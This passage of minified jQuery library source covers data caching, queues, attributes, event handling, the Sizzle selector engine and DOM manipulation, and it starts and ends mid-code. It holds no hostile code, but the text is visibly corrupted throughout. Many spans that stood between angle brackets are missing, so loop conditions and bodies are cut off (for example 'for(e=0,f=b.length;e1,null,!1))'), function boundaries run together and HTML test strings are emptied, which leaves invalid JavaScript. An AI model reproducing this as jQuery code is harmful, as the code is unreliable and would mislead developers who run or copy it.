d.style.zoom!="undefined"&&(d.innerHTML="",d.style.cssText=h+"width:1px;padding:1px;display:inline;zoom:1",b.inlineBlockNeedsLayout=d.offsetWidth===3,d.style.display="block",d.style.overflow="visible",d.innerHTML="
",d.firstChild.style.width="5px",b.shrinkWrapBlocks=d.offsetWidth!==3,c.style.zoom=1),i.removeChild(c),c=d=f=g=null}),i.removeChild(n),c=d=f=g=h=i=n=null,b}();var H=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,I=/([A-Z])/g;p.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(p.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){return a=a.nodeType?p.cache[a[p.expando]]:a[p.expando],!!a&&!K(a)},data:function(a,c,d,e){if(!p.acceptData(a))return;var f,g,h=p.expando,i=typeof c=="string",j=a.nodeType,k=j?p.cache:a,l=j?a[h]:a[h]&&h;if((!l||!k[l]||!e&&!k[l].data)&&i&&d===b)return;l||(j?a[h]=l=p.deletedIds.pop()||p.guid++:l=h),k[l]||(k[l]={},j||(k[l].toJSON=p.noop));if(typeof c=="object"||typeof c=="function")e?k[l]=p.extend(k[l],c):k[l].data=p.extend(k[l].data,c);return f=k[l],e||(f.data||(f.data={}),f=f.data),d!==b&&(f[p.camelCase(c)]=d),i?(g=f[c],g==null&&(g=f[p.camelCase(c)])):g=f,g},removeData:function(a,b,c){if(!p.acceptData(a))return;var d,e,f,g=a.nodeType,h=g?p.cache:a,i=g?a[p.expando]:p.expando;if(!h[i])return;if(b){d=c?h[i]:h[i].data;if(d){p.isArray(b)||(b in d?b=[b]:(b=p.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,f=b.length;e1,null,!1))},removeData:function(a){return this.each(function(){p.removeData(this,a)})}}),p.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=p._data(a,b),c&&(!d||p.isArray(c)?d=p._data(a,b,p.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=p.queue(a,b),d=c.length,e=c.shift(),f=p._queueHooks(a,b),g=function(){p.dequeue(a,b)};e==="inprogress"&&(e=c.shift(),d--),e&&(b==="fx"&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return p._data(a,c)||p._data(a,c,{empty:p.Callbacks("once memory").add(function(){p.removeData(a,b+"queue",!0),p.removeData(a,c,!0)})})}}),p.fn.extend({queue:function(a,c){var d=2;return typeof a!="string"&&(c=a,a="fx",d--),arguments.length1)},removeAttr:function(a){return this.each(function(){p.removeAttr(this,a)})},prop:function(a,b){return p.access(this,p.prop,a,b,arguments.length>1)},removeProp:function(a){return a=p.propFix[a]||a,this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,f,g,h;if(p.isFunction(a))return this.each(function(b){p(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(s);for(c=0,d=this.length;c=0)d=d.replace(" "+c[f]+" "," ");e.className=a?p.trim(d):""}}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";return p.isFunction(a)?this.each(function(c){p(this).toggleClass(a.call(this,c,this.className,b),b)}):this.each(function(){if(c==="string"){var e,f=0,g=p(this),h=b,i=a.split(s);while(e=i[f++])h=d?h:!g.hasClass(e),g[h?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&p._data(this,"__className__",this.className),this.className=this.className||a===!1?"":p._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c=0)return!0;return!1},val:function(a){var c,d,e,f=this[0];if(!arguments.length){if(f)return c=p.valHooks[f.type]||p.valHooks[f.nodeName.toLowerCase()],c&&"get"in c&&(d=c.get(f,"value"))!==b?d:(d=f.value,typeof d=="string"?d.replace(P,""):d==null?"":d);return}return e=p.isFunction(a),this.each(function(d){var f,g=p(this);if(this.nodeType!==1)return;e?f=a.call(this,d,g.val()):f=a,f==null?f="":typeof f=="number"?f+="":p.isArray(f)&&(f=p.map(f,function(a){return a==null?"":a+""})),c=p.valHooks[this.type]||p.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,f,"value")===b)this.value=f})}}),p.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,f=a.selectedIndex,g=[],h=a.options,i=a.type==="select-one";if(f<0)return null;c=i?f:0,d=i?f+1:h.length;for(;c=0}),c.length||(a.selectedIndex=-1),c}}},attrFn:{},attr:function(a,c,d,e){var f,g,h,i=a.nodeType;if(!a||i===3||i===8||i===2)return;if(e&&p.isFunction(p.fn[c]))return p(a)[c](d);if(typeof a.getAttribute=="undefined")return p.prop(a,c,d);h=i!==1||!p.isXMLDoc(a),h&&(c=c.toLowerCase(),g=p.attrHooks[c]||(T.test(c)?M:L));if(d!==b){if(d===null){p.removeAttr(a,c);return}return g&&"set"in g&&h&&(f=g.set(a,d,c))!==b?f:(a.setAttribute(c,d+""),d)}return g&&"get"in g&&h&&(f=g.get(a,c))!==null?f:(f=a.getAttribute(c),f===null?b:f)},removeAttr:function(a,b){var c,d,e,f,g=0;if(b&&a.nodeType===1){d=b.split(s);for(;g=0}})});var V=/^(?:textarea|input|select)$/i,W=/^([^\.]*|)(?:\.(.+)|)$/,X=/(?:^|\s)hover(\.\S+|)\b/,Y=/^key/,Z=/^(?:mouse|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=function(a){return p.event.special.hover?a:a.replace(X,"mouseenter$1 mouseleave$1")};p.event={add:function(a,c,d,e,f){var g,h,i,j,k,l,m,n,o,q,r;if(a.nodeType===3||a.nodeType===8||!c||!d||!(g=p._data(a)))return;d.handler&&(o=d,d=o.handler,f=o.selector),d.guid||(d.guid=p.guid++),i=g.events,i||(g.events=i={}),h=g.handle,h||(g.handle=h=function(a){return typeof p!="undefined"&&(!a||p.event.triggered!==a.type)?p.event.dispatch.apply(h.elem,arguments):b},h.elem=a),c=p.trim(_(c)).split(" ");for(j=0;j=0&&(s=s.slice(0,-1),i=!0),s.indexOf(".")>=0&&(t=s.split("."),s=t.shift(),t.sort());if((!f||p.event.customEvent[s])&&!p.event.global[s])return;c=typeof c=="object"?c[p.expando]?c:new p.Event(s,c):new p.Event(s),c.type=s,c.isTrigger=!0,c.exclusive=i,c.namespace=t.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+t.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,m=s.indexOf(":")<0?"on"+s:"";if(!f){h=p.cache;for(j in h)h[j].events&&h[j].events[s]&&p.event.trigger(c,d,h[j].handle.elem,!0);return}c.result=b,c.target||(c.target=f),d=d!=null?p.makeArray(d):[],d.unshift(c),n=p.event.special[s]||{};if(n.trigger&&n.trigger.apply(f,d)===!1)return;q=[[f,n.bindType||s]];if(!g&&!n.noBubble&&!p.isWindow(f)){r=n.delegateType||s,k=$.test(r+s)?f:f.parentNode;for(l=f;k;k=k.parentNode)q.push([k,r]),l=k;l===(f.ownerDocument||e)&&q.push([l.defaultView||l.parentWindow||a,r])}for(j=0;j=0:p.find(m,this,null,[f]).length),h[m]&&j.push(l);j.length&&u.push({elem:f,matches:j})}o.length>q&&u.push({elem:this,matches:o.slice(q)});for(d=0;d0?this.on(b,null,a,c):this.trigger(b)},Y.test(b)&&(p.event.fixHooks[b]=p.event.keyHooks),Z.test(b)&&(p.event.fixHooks[b]=p.event.mouseHooks)}),function(a,b){function bc(a,b,c,d){c=c||[],b=b||r;var e,f,i,j,k=b.nodeType;if(!a||typeof a!="string")return c;if(k!==1&&k!==9)return[];i=g(b);if(!i&&!d)if(e=P.exec(a))if(j=e[1]){if(k===9){f=b.getElementById(j);if(!f||!f.parentNode)return c;if(f.id===j)return c.push(f),c}else if(b.ownerDocument&&(f=b.ownerDocument.getElementById(j))&&h(b,f)&&f.id===j)return c.push(f),c}else{if(e[2])return w.apply(c,x.call(b.getElementsByTagName(a),0)),c;if((j=e[3])&&_&&b.getElementsByClassName)return w.apply(c,x.call(b.getElementsByClassName(j),0)),c}return bp(a.replace(L,"$1"),b,c,d,i)}function bd(a){return function(b){var c=b.nodeName.toLowerCase();return c==="input"&&b.type===a}}function be(a){return function(b){var c=b.nodeName.toLowerCase();return(c==="input"||c==="button")&&b.type===a}}function bf(a){return z(function(b){return b=+b,z(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function bg(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}function bh(a,b){var c,d,f,g,h,i,j,k=C[o][a];if(k)return b?0:k.slice(0);h=a,i=[],j=e.preFilter;while(h){if(!c||(d=M.exec(h)))d&&(h=h.slice(d[0].length)),i.push(f=[]);c=!1;if(d=N.exec(h))f.push(c=new q(d.shift())),h=h.slice(c.length),c.type=d[0].replace(L," ");for(g in e.filter)(d=W[g].exec(h))&&(!j[g]||(d=j[g](d,r,!0)))&&(f.push(c=new q(d.shift())),h=h.slice(c.length),c.type=g,c.matches=d);if(!c)break}return b?h.length:h?bc.error(a):C(a,i).slice(0)}function bi(a,b,d){var e=b.dir,f=d&&b.dir==="parentNode",g=u++;return b.first?function(b,c,d){while(b=b[e])if(f||b.nodeType===1)return a(b,c,d)}:function(b,d,h){if(!h){var i,j=t+" "+g+" ",k=j+c;while(b=b[e])if(f||b.nodeType===1){if((i=b[o])===k)return b.sizset;if(typeof i=="string"&&i.indexOf(j)===0){if(b.sizset)return b}else{b[o]=k;if(a(b,d,h))return b.sizset=!0,b;b.sizset=!1}}}else while(b=b[e])if(f||b.nodeType===1)if(a(b,d,h))return b}}function bj(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function bk(a,b,c,d,e){var f,g=[],h=0,i=a.length,j=b!=null;for(;h-1},h,!0),m=[function(a,c,d){return!g&&(d||c!==l)||((b=c).nodeType?j(a,c,d):k(a,c,d))}];for(;i1&&bj(m),i>1&&a.slice(0,i-1).join("").replace(L,"$1"),c,i0,f=a.length>0,g=function(h,i,j,k,m){var n,o,p,q=[],s=0,u="0",x=h&&[],y=m!=null,z=l,A=h||f&&e.find.TAG("*",m&&i.parentNode||i),B=t+=z==null?1:Math.E;y&&(l=i!==r&&i,c=g.el);for(;(n=A[u])!=null;u++){if(f&&n){for(o=0;p=a[o];o++)if(p(n,i,j)){k.push(n);break}y&&(t=B,c=++g.el)}d&&((n=!p&&n)&&s--,h&&x.push(n))}s+=u;if(d&&u!==s){for(o=0;p=b[o];o++)p(x,q,i,j);if(h){if(s>0)while(u--)!x[u]&&!q[u]&&(q[u]=v.call(k));q=bk(q)}w.apply(k,q),y&&!h&&q.length>0&&s+b.length>1&&bc.uniqueSort(k)}return y&&(t=B,l=z),x};return g.el=0,d?z(g):g}function bo(a,b,c,d){var e=0,f=b.length;for(;e2&&(j=h[0]).type==="ID"&&b.nodeType===9&&!f&&e.relative[h[1].type]){b=e.find.ID(j.matches[0].replace(V,""),b,f)[0];if(!b)return c;a=a.slice(h.shift().length)}for(g=W.POS.test(a)?-1:h.length-1;g>=0;g--){j=h[g];if(e.relative[k=j.type])break;if(l=e.find[k])if(d=l(j.matches[0].replace(V,""),R.test(h[0].type)&&b.parentNode||b,f)){h.splice(g,1),a=d.length&&h.join("");if(!a)return w.apply(c,x.call(d,0)),c;break}}}return i(a,m)(d,b,f,c,R.test(a)),c}function bq(){}var c,d,e,f,g,h,i,j,k,l,m=!0,n="undefined",o=("sizcache"+Math.random()).replace(".",""),q=String,r=a.document,s=r.documentElement,t=0,u=0,v=[].pop,w=[].push,x=[].slice,y=[].indexOf||function(a){var b=0,c=this.length;for(;be.cacheLength&&delete a[b.shift()],a[c]=d},a)},B=A(),C=A(),D=A(),E="[\\x20\\t\\r\\n\\f]",F="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",G=F.replace("w","w#"),H="([*^$|!~]?=)",I="\\["+E+"*("+F+")"+E+"*(?:"+H+E+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+G+")|)|)"+E+"*\\]",J=":("+F+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+I+")|[^:]|\\\\.)*|.*))\\)|)",K=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+E+"*((?:-\\d)?\\d*)"+E+"*\\)|)(?=[^-]|$)",L=new RegExp("^"+E+"+|((?:^|[^\\\\])(?:\\\\.)*)"+E+"+$","g"),M=new RegExp("^"+E+"*,"+E+"*"),N=new RegExp("^"+E+"*([\\x20\\t\\r\\n\\f>+~])"+E+"*"),O=new RegExp(J),P=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,Q=/^:not/,R=/[\x20\t\r\n\f]*[+~]/,S=/:not\($/,T=/h\d/i,U=/input|select|textarea|button/i,V=/\\(?!\\)/g,W={ID:new RegExp("^#("+F+")"),CLASS:new RegExp("^\\.("+F+")"),NAME:new RegExp("^\\[name=['\"]?("+F+")['\"]?\\]"),TAG:new RegExp("^("+F.replace("w","w*")+")"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+J),POS:new RegExp(K,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+E+"*(even|odd|(([+-]|)(\\d*)n|)"+E+"*(?:([+-]|)"+E+"*(\\d+)|))"+E+"*\\)|)","i"),needsContext:new RegExp("^"+E+"*[>+~]|"+K,"i")},X=function(a){var b=r.createElement("div");try{return a(b)}catch(c){return!1}finally{b=null}},Y=X(function(a){return a.appendChild(r.createComment("")),!a.getElementsByTagName("*").length}),Z=X(function(a){return a.innerHTML=" ",a.firstChild&&typeof a.firstChild.getAttribute!==n&&a.firstChild.getAttribute("href")==="#"}),$=X(function(a){a.innerHTML=" ";var b=typeof a.lastChild.getAttribute("multiple");return b!=="boolean"&&b!=="string"}),_=X(function(a){return a.innerHTML="
",!a.getElementsByClassName||!a.getElementsByClassName("e").length?!1:(a.lastChild.className="e",a.getElementsByClassName("e").length===2)}),ba=X(function(a){a.id=o+0,a.innerHTML="
",s.insertBefore(a,s.firstChild);var b=r.getElementsByName&&r.getElementsByName(o).length===2+r.getElementsByName(o+0).length;return d=!r.getElementById(o),s.removeChild(a),b});try{x.call(s.childNodes,0)[0].nodeType}catch(bb){x=function(a){var b,c=[];for(;b=this[a];a++)c.push(b);return c}}bc.matches=function(a,b){return bc(a,null,null,b)},bc.matchesSelector=function(a,b){return bc(b,null,null,[a]).length>0},f=bc.getText=function(a){var b,c="",d=0,e=a.nodeType;if(e){if(e===1||e===9||e===11){if(typeof a.textContent=="string")return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=f(a)}else if(e===3||e===4)return a.nodeValue}else for(;b=a[d];d++)c+=f(b);return c},g=bc.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?b.nodeName!=="HTML":!1},h=bc.contains=s.contains?function(a,b){var c=a.nodeType===9?a.documentElement:a,d=b&&b.parentNode;return a===d||!!(d&&d.nodeType===1&&c.contains&&c.contains(d))}:s.compareDocumentPosition?function(a,b){return b&&!!(a.compareDocumentPosition(b)&16)}:function(a,b){while(b=b.parentNode)if(b===a)return!0;return!1},bc.attr=function(a,b){var c,d=g(a);return d||(b=b.toLowerCase()),(c=e.attrHandle[b])?c(a):d||$?a.getAttribute(b):(c=a.getAttributeNode(b),c?typeof a[b]=="boolean"?a[b]?b:null:c.specified?c.value:null:null)},e=bc.selectors={cacheLength:50,createPseudo:z,match:W,attrHandle:Z?{}:{href:function(a){return a.getAttribute("href",2)},type:function(a){return a.getAttribute("type")}},find:{ID:d?function(a,b,c){if(typeof b.getElementById!==n&&!c){var d=b.getElementById(a);return d&&d.parentNode?[d]:[]}}:function(a,c,d){if(typeof c.getElementById!==n&&!d){var e=c.getElementById(a);return e?e.id===a||typeof e.getAttributeNode!==n&&e.getAttributeNode("id").value===a?[e]:b:[]}},TAG:Y?function(a,b){if(typeof b.getElementsByTagName!==n)return b.getElementsByTagName(a)}:function(a,b){var c=b.getElementsByTagName(a);if(a==="*"){var d,e=[],f=0;for(;d=c[f];f++)d.nodeType===1&&e.push(d);return e}return c},NAME:ba&&function(a,b){if(typeof b.getElementsByName!==n)return b.getElementsByName(name)},CLASS:_&&function(a,b,c){if(typeof b.getElementsByClassName!==n&&!c)return b.getElementsByClassName(a)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(V,""),a[3]=(a[4]||a[5]||"").replace(V,""),a[2]==="~="&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),a[1]==="nth"?(a[2]||bc.error(a[0]),a[3]=+(a[3]?a[4]+(a[5]||1):2*(a[2]==="even"||a[2]==="odd")),a[4]=+(a[6]+a[7]||a[2]==="odd")):a[2]&&bc.error(a[0]),a},PSEUDO:function(a){var b,c;if(W.CHILD.test(a[0]))return null;if(a[3])a[2]=a[3];else if(b=a[4])O.test(b)&&(c=bh(b,!0))&&(c=b.indexOf(")",b.length-c)-b.length)&&(b=b.slice(0,c),a[0]=a[0].slice(0,c)),a[2]=b;return a.slice(0,3)}},filter:{ID:d?function(a){return a=a.replace(V,""),function(b){return b.getAttribute("id")===a}}:function(a){return a=a.replace(V,""),function(b){var c=typeof b.getAttributeNode!==n&&b.getAttributeNode("id");return c&&c.value===a}},TAG:function(a){return a==="*"?function(){return!0}:(a=a.replace(V,"").toLowerCase(),function(b){return b.nodeName&&b.nodeName.toLowerCase()===a})},CLASS:function(a){var b=B[o][a];return b||(b=B(a,new RegExp("(^|"+E+")"+a+"("+E+"|$)"))),function(a){return b.test(a.className||typeof a.getAttribute!==n&&a.getAttribute("class")||"")}},ATTR:function(a,b,c){return function(d,e){var f=bc.attr(d,a);return f==null?b==="!=":b?(f+="",b==="="?f===c:b==="!="?f!==c:b==="^="?c&&f.indexOf(c)===0:b==="*="?c&&f.indexOf(c)>-1:b==="$="?c&&f.substr(f.length-c.length)===c:b==="~="?(" "+f+" ").indexOf(c)>-1:b==="|="?f===c||f.substr(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d){return a==="nth"?function(a){var b,e,f=a.parentNode;if(c===1&&d===0)return!0;if(f){e=0;for(b=f.firstChild;b;b=b.nextSibling)if(b.nodeType===1){e++;if(a===b)break}}return e-=d,e===c||e%c===0&&e/c>=0}:function(b){var c=b;switch(a){case"only":case"first":while(c=c.previousSibling)if(c.nodeType===1)return!1;if(a==="first")return!0;c=b;case"last":while(c=c.nextSibling)if(c.nodeType===1)return!1;return!0}}},PSEUDO:function(a,b){var c,d=e.pseudos[a]||e.setFilters[a.toLowerCase()]||bc.error("unsupported pseudo: "+a);return d[o]?d(b):d.length>1?(c=[a,a,"",b],e.setFilters.hasOwnProperty(a.toLowerCase())?z(function(a,c){var e,f=d(a,b),g=f.length;while(g--)e=y.call(a,f[g]),a[e]=!(c[e]=f[g])}):function(a){return d(a,0,c)}):d}},pseudos:{not:z(function(a){var b=[],c=[],d=i(a.replace(L,"$1"));return d[o]?z(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)if(f=g[h])a[h]=!(b[h]=f)}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:z(function(a){return function(b){return bc(a,b).length>0}}),contains:z(function(a){return function(b){return(b.textContent||b.innerText||f(b)).indexOf(a)>-1}}),enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&!!a.checked||b==="option"&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},parent:function(a){return!e.pseudos.empty(a)},empty:function(a){var b;a=a.firstChild;while(a){if(a.nodeName>"@"||(b=a.nodeType)===3||b===4)return!1;a=a.nextSibling}return!0},header:function(a){return T.test(a.nodeName)},text:function(a){var b,c;return a.nodeName.toLowerCase()==="input"&&(b=a.type)==="text"&&((c=a.getAttribute("type"))==null||c.toLowerCase()===b)},radio:bd("radio"),checkbox:bd("checkbox"),file:bd("file"),password:bd("password"),image:bd("image"),submit:be("submit"),reset:be("reset"),button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&a.type==="button"||b==="button"},input:function(a){return U.test(a.nodeName)},focus:function(a){var b=a.ownerDocument;return a===b.activeElement&&(!b.hasFocus||b.hasFocus())&&(!!a.type||!!a.href)},active:function(a){return a===a.ownerDocument.activeElement},first:bf(function(a,b,c){return[0]}),last:bf(function(a,b,c){return[b-1]}),eq:bf(function(a,b,c){return[c<0?c+b:c]}),even:bf(function(a,b,c){for(var d=0;d=0;)a.push(d);return a}),gt:bf(function(a,b,c){for(var d=c<0?c+b:c;++d ",a.querySelectorAll("[selected]").length||e.push("\\["+E+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),a.querySelectorAll(":checked").length||e.push(":checked")}),X(function(a){a.innerHTML="
",a.querySelectorAll("[test^='']").length&&e.push("[*^$]="+E+"*(?:\"\"|'')"),a.innerHTML=" ",a.querySelectorAll(":enabled").length||e.push(":enabled",":disabled")}),e=new RegExp(e.join("|")),bp=function(a,d,f,g,h){if(!g&&!h&&(!e||!e.test(a))){var i,j,k=!0,l=o,m=d,n=d.nodeType===9&&a;if(d.nodeType===1&&d.nodeName.toLowerCase()!=="object"){i=bh(a),(k=d.getAttribute("id"))?l=k.replace(c,"\\$&"):d.setAttribute("id",l),l="[id='"+l+"'] ",j=i.length;while(j--)i[j]=l+i[j].join("");m=R.test(a)&&d.parentNode||d,n=i.join(",")}if(n)try{return w.apply(f,x.call(m.querySelectorAll(n),0)),f}catch(p){}finally{k||d.removeAttribute("id")}}return b(a,d,f,g,h)},h&&(X(function(b){a=h.call(b,"div");try{h.call(b,"[test!='']:sizzle"),f.push("!=",J)}catch(c){}}),f=new RegExp(f.join("|")),bc.matchesSelector=function(b,c){c=c.replace(d,"='$1']");if(!g(b)&&!f.test(c)&&(!e||!e.test(c)))try{var i=h.call(b,c);if(i||a||b.document&&b.document.nodeType!==11)return i}catch(j){}return bc(c,null,null,[b]).length>0})}(),e.pseudos.nth=e.pseudos.eq,e.filters=bq.prototype=e.pseudos,e.setFilters=new bq,bc.attr=p.attr,p.find=bc,p.expr=bc.selectors,p.expr[":"]=p.expr.pseudos,p.unique=bc.uniqueSort,p.text=bc.getText,p.isXMLDoc=bc.isXML,p.contains=bc.contains}(a);var bc=/Until$/,bd=/^(?:parents|prev(?:Until|All))/,be=/^.[^:#\[\.,]*$/,bf=p.expr.match.needsContext,bg={children:!0,contents:!0,next:!0,prev:!0};p.fn.extend({find:function(a){var b,c,d,e,f,g,h=this;if(typeof a!="string")return p(a).filter(function(){for(b=0,c=h.length;b0)for(e=d;e=0:p.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c,d=0,e=this.length,f=[],g=bf.test(a)||typeof a!="string"?p(a,b||this.context):0;for(;d-1:p.find.matchesSelector(c,a)){f.push(c);break}c=c.parentNode}}return f=f.length>1?p.unique(f):f,this.pushStack(f,"closest",a)},index:function(a){return a?typeof a=="string"?p.inArray(this[0],p(a)):p.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(a,b){var c=typeof a=="string"?p(a,b):p.makeArray(a&&a.nodeType?[a]:a),d=p.merge(this.get(),c);return this.pushStack(bh(c[0])||bh(d[0])?d:p.unique(d))},addBack:function(a){return this.add(a==null?this.prevObject:this.prevObject.filter(a))}}),p.fn.andSelf=p.fn.addBack,p.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return p.dir(a,"parentNode")},parentsUntil:function(a,b,c){return p.dir(a,"parentNode",c)},next:function(a){return bi(a,"nextSibling")},prev:function(a){return bi(a,"previousSibling")},nextAll:function(a){return p.dir(a,"nextSibling")},prevAll:function(a){return p.dir(a,"previousSibling")},nextUntil:function(a,b,c){return p.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return p.dir(a,"previousSibling",c)},siblings:function(a){return p.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return p.sibling(a.firstChild)},contents:function(a){return p.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:p.merge([],a.childNodes)}},function(a,b){p.fn[a]=function(c,d){var e=p.map(this,b,c);return bc.test(a)||(d=c),d&&typeof d=="string"&&(e=p.filter(d,e)),e=this.length>1&&!bg[a]?p.unique(e):e,this.length>1&&bd.test(a)&&(e=e.reverse()),this.pushStack(e,a,k.call(arguments).join(","))}}),p.extend({filter:function(a,b,c){return c&&(a=":not("+a+")"),b.length===1?p.find.matchesSelector(b[0],a)?[b[0]]:[]:p.find.matches(a,b)},dir:function(a,c,d){var e=[],f=a[c];while(f&&f.nodeType!==9&&(d===b||f.nodeType!==1||!p(f).is(d)))f.nodeType===1&&e.push(f),f=f[c];return e},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var bl="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",bm=/ jQuery\d+="(?:null|\d+)"/g,bn=/^\s+/,bo=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bp=/<([\w:]+)/,bq=/ ]","i"),bv=/^(?:checkbox|radio)$/,bw=/checked\s*(?:[^=]|=\s*.checked.)/i,bx=/\/(java|ecma)script/i,by=/^\s*\s*$/g,bz={option:[1,""," "],legend:[1,""," "],thead:[1,""],tr:[2,""],td:[3,""],col:[2,""],area:[1,""," "],_default:[0,"",""]},bA=bk(e),bB=bA.appendChild(e.createElement("div"));bz.optgroup=bz.option,bz.tbody=bz.tfoot=bz.colgroup=bz.caption=bz.thead,bz.th=bz.td,p.support.htmlSerialize||(bz._default=[1,"X","
"]),p.fn.extend({text:function(a){return p.access(this,function(a){return a===b?p.text(this):this.empty().append((this[0]&&this[0].ownerDocument||e).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(p.isFunction(a))return this.each(function(b){p(this).wrapAll(a.call(this,b))});if(this[0]){var b=p(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return p.isFunction(a)?this.each(function(b){p(this).wrapInner(a.call(this,b))}):this.each(function(){var b=p(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=p.isFunction(a);return this.each(function(c){p(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){p.nodeName(this,"body")||p(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){(this.nodeType===1||this.nodeType===11)&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(a,this.firstChild)})},before:function(){if(!bh(this[0]))return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=p.clean(arguments);return this.pushStack(p.merge(a,this),"before",this.selector)}},after:function(){if(!bh(this[0]))return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=p.clean(arguments);return this.pushStack(p.merge(this,a),"after",this.selector)}},remove:function(a,b){var c,d=0;for(;(c=this[d])!=null;d++)if(!a||p.filter(a,[c]).length)!b&&c.nodeType===1&&(p.cleanData(c.getElementsByTagName("*")),p.cleanData([c])),c.parentNode&&c.parentNode.removeChild(c);return this},empty:function(){var a,b=0;for(;(a=this[b])!=null;b++){a.nodeType===1&&p.cleanData(a.getElementsByTagName("*"));while(a.firstChild)a.removeChild(a.firstChild)}return this},clone:function(a,b){return a=a==null?!1:a,b=b==null?a:b,this.map(function(){return p.clone(this,a,b)})},html:function(a){return p.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(bm,""):b;if(typeof a=="string"&&!bs.test(a)&&(p.support.htmlSerialize||!bu.test(a))&&(p.support.leadingWhitespace||!bn.test(a))&&!bz[(bp.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(bo,"<$1>$2>");try{for(;d1&&typeof j=="string"&&bw.test(j))return this.each(function(){p(this).domManip(a,c,d)});if(p.isFunction(j))return this.each(function(e){var f=p(this);a[0]=j.call(this,e,c?f.html():b),f.domManip(a,c,d)});if(this[0]){e=p.buildFragment(a,this,k),g=e.fragment,f=g.firstChild,g.childNodes.length===1&&(g=f);if(f){c=c&&p.nodeName(f,"tr");for(h=e.cacheable||l-1;i0?this.clone(!0):this).get(),p(g[e])[b](d),f=f.concat(d);return this.pushStack(f,a,g.selector)}}),p.extend({clone:function(a,b,c){var 